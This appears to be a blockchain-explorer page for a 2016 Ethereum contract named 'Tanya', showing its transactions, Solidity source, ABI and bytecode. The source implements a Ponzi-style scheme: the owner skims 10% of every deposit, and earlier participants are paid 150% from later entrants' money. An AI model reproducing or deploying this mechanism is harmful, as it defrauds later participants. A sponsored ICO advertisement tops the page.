Sponsored Link: Join FundYourselfNow ICO (20% bonus) – One-stop crowdfunding platform for projects seeking funding and talented helpers
Contract Overview
ETH Balance: 0.0336 Ether
ETH USD Value: $10.76 (@ $320.36/ETH)
No Of Transactions: 6 txns + 2 internalTxns
  Latest 6 txns

TxHash Block Age From To Value [TxFee]
0x77ac6719e7ad7358544adb599fdc4ef4c42b8fb6a2125ebffb117d81660dfa52350390974 days 17 hrs ago0x91742fa854d74b7990ba9346a4fcdcebb1cb223e  IN   0xf1c1648f6f0edbcf7d898441b88e489cfaace11d0.035 Ether0.00105
0x211047d8a9a0bd73cb67a2597693c0e6eda5856191a7e9ca27b652e695ff6cee2457402248 days 10 hrs ago0xeeb10e6aea0853efcf2278d73c1ad2a586197649  IN   0xf1c1648f6f0edbcf7d898441b88e489cfaace11d0 Ether0.00037306
0xd279613618a8a7a9a9e1757646ac7be467b48cb2107cc3f72986065f6f343d442180207294 days 9 hrs ago0xd444e6d13077b5738f82d1c7d4ff4c2eee94b0e4  IN   0xf1c1648f6f0edbcf7d898441b88e489cfaace11d0.014 Ether0.00154306
0xb831de8e9f662296f4796850f2c678aab0c33976c1a307ab41370516107fdf252137513301 days 11 hrs ago0xeeb10e6aea0853efcf2278d73c1ad2a586197649  IN   0xf1c1648f6f0edbcf7d898441b88e489cfaace11d0.03 Ether0.00218688
0xae1d6433f7b4f38dafd57bab5300332134b19cf02d55529fe11f07b4d309c53c2137476301 days 11 hrs ago0xeeb10e6aea0853efcf2278d73c1ad2a586197649  IN   0xf1c1648f6f0edbcf7d898441b88e489cfaace11d0.01 Ether0.00244306
0xa230283a415f273ad97d3eec576fecdb28320e2f5665f3f77fb15d068bc468912137465301 days 11 hrs ago0xeeb10e6aea0853efcf2278d73c1ad2a586197649  IN    Contract Creation0 Ether0.00690828

[Download: CSV Export ]    
 Internal Transactions as a result of Contract Execution
  Latest 2 Internal Transactions

ParentTxHash Block Age From To Value
0x211047d8a9a0bd73cb67a2597693c0e6eda5856191a7e9ca27b652e695ff6cee2457402248 days 10 hrs ago0xf1c1648f6f0edbcf7d898441b88e489cfaace11d0xeeb10e6aea0853efcf2278d73c1ad2a5861976490.0054 Ether
0xb831de8e9f662296f4796850f2c678aab0c33976c1a307ab41370516107fdf252137513301 days 11 hrs ago0xf1c1648f6f0edbcf7d898441b88e489cfaace11d0xeeb10e6aea0853efcf2278d73c1ad2a5861976490.015 Ether

[Download: CSV Export ]    
Contract Name: Tanya
Compiler Version: v0.3.5-2016-07-21-6610add
Optimization Enabled: Yes
Online Solidity Editor:  Click To View



  Contract Source Code   Find Similiar Contracts
contract Tanya {

    struct Participant {
        address etherAddress;
        uint amount;
    }

    Participant[] public participants;

	uint public payoutIdx = 0;
	uint public collectedFees = 0;
	uint balance = 0;

  // only owner modifier
	address public owner;
    modifier onlyowner { if (msg.sender == owner) _ }

  // contract Constructor
    function Tanya() {
        owner = msg.sender;
    }

 // fallback function
    function(){
        enter();
    }

	function enter(){
      // collect fee
        uint fee = msg.value / 10;
        collectedFees += fee;

      // add a new participant
		uint idx = participants.length;
        participants.length++;
        participants[idx].etherAddress = msg.sender;
        participants[idx].amount = msg.value;

      // update available balance
      	balance += msg.value - fee;
      	
	  // if there are enough ether on the balance we can pay out to an earlier participant
	  	uint txAmount = participants[payoutIdx].amount / 100 * 150;
        if(balance >= txAmount){
        	if(!participants[payoutIdx].etherAddress.send(txAmount)) throw;

            balance -= txAmount;
            payoutIdx++;
        }
    }

    function collectFees() onlyowner {
        if(collectedFees == 0)return;

        if(!owner.send(collectedFees))throw;
        collectedFees = 0;
    }

    function setOwner(address _owner) onlyowner {
        owner = _owner;
    }
}

  Contract ABI  
[{"constant":false,"inputs":[{"name":"_owner","type":"address"}],"name":"setOwner","outputs":[],"type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"participants","outputs":[{"name":"etherAddress","type":"address"},{"name":"amount","type":"uint256"}],"type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"type":"function"},{"constant":true,"inputs":[],"name":"collectedFees","outputs":[{"name":"","type":"uint256"}],"type":"function"},{"constant":true,"inputs":[],"name":"payoutIdx","outputs":[{"name":"","type":"uint256"}],"type":"function"},{"constant":false,"inputs":[],"name":"collectFees","outputs":[],"type":"function"},{"constant":false,"inputs":[],"name":"enter","outputs":[],"type":"function"},{"inputs":[],"type":"constructor"}]

  Contract Creation Code Switch To Opcodes View
606060405260006001819055600281905560035560048054600160a060020a031916331790556103b9806100336000396000f3606060405236156100615760e060020a600035046313af4035811461006c57806335c1d3491461009f5780638da5cb5b146101125780639003adfe14610124578063a60f35881461012d578063c879657214610136578063e97dcb621461015e575b6101cc61015c610162565b6101cc60043560045433600160a060020a039081169116141561009c5760048054600160a060020a031916821790555b50565b6101ce600435600080548290811015610002575080526002027f290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e5638101547f290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e5649190910154600160a060020a03919091169082565b6101f4600454600160a060020a031681565b61021160025481565b61021160015481565b6101cc60045433600160a060020a039081169116141561015c5760025460001415610380575b565b6101cc5b60028054600a34049081019091556000805460018101808355909190829082908280158290116102235760020281600202836000526020600020918201910161022391905b80821115610365578054600160a060020a0319168155600060018201556002016101a7565b005b6040518083600160a060020a031681526020018281526020019250505060405180910390f35b60408051600160a060020a03929092168252519081900360200190f35b60408051918252519081900360200190f35b50505050336000600050838154811015610002578180526002027f290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563018054600160a060020a03191690921790915580543491908490811015610002576002027f290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e56401829055600380549286900390920190915560015481546064929190811015610002576003546002919091027f290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e56401549290920460960292505081901061037b5760015460008054909190811015610002576002027f290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e5630154604051600160a060020a03919091169190839082818181858883f19350505050151561036957610002565b5090565b60038054829003905560018054810190555b505050565b600454600254604051600160a060020a0392909216916000919082818181858883f1935050505015156103b257610002565b600060025556
View All
Block Age txn Difficulty GasUsed Reward
View All
Block Age UncleNumber Difficulty GasUsed Reward